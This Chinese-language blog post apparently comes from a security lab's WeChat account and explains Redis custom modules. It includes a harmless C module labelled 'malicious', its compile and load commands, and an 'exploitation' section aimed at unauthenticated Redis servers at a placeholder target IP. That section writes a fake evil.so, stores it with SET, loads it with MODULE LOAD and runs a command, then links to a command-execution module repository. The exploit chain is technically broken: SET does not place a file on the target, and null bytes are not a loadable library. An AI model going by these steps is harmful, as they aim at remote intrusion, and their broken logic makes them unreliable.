查看原文
其他

Redis编写自定义模块

White Wings Ghost Wolf Lab
2024-12-02

简介

Redis自定义模块允许用户扩展Redis的功能,添加新的命令和数据类型。这种灵活性使得Redis不仅仅是一个键值存储,还可以用于更复杂的应用场景。然而,这也带来了潜在的安全风险,攻击者可能利用这些自定义模块执行恶意命令。下面是关于Redis自定义模块执行命令的介绍和漏洞利用方法。

Redis自定义模块介绍

Redis自定义模块是从Redis 4.0版本开始引入的,允许开发者编写自己的模块并加载到Redis中。模块可以用C语言编写,并编译成动态库(.so文件),然后通过Redis命令加载。

  • 创建模块文件:编写一个简单的C语言文件,例如malicious_module.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "redismodule.h"

int MaliciousCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
RedisModule_ReplyWithSimpleString(ctx, "Malicious code executed!");
return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "malicious_module", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "malicious_command", MaliciousCommand, "write", 1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
  • 编译模块:
gcc -shared -o malicious_module.so malicious_module.c -I /usr/share/metasploit-framework/data/exploits/redis/ -fPIC
  • 将编译文件移动到默认目录:
cp malicious_module.so /etc/redis
  • 加载并使用模块:
redis-cli
127.0.0.1:6379> MODULE LOAD /etc/redis/malicious_module.so
127.0.0.1:6379> MODULE LIST
127.0.0.1:6379> malicious_command

漏洞利用方法

攻击者可以利用Redis的未授权访问漏洞加载恶意模块,从而执行任意命令。以下是一个利用Redis未授权访问漏洞加载恶意模块的示例。

  • 写入恶意模块:
echo -e "\x00\x00\x00\x00\x00\x00\x00\x00" > /tmp/evil.so
redis-cli -h <目标IP> -p 6379 -x set mymodule < /tmp/evil.so
  • 加载恶意模块:
redis-cli -h <目标IP> -p 6379
MODULE LOAD /tmp/evil.so
  • 执行恶意命令:
redis-cli -h <目标IP> -p 6379
evil.command

Other

更多模块:

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand


继续滑动看下一个
Ghost Wolf Lab
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存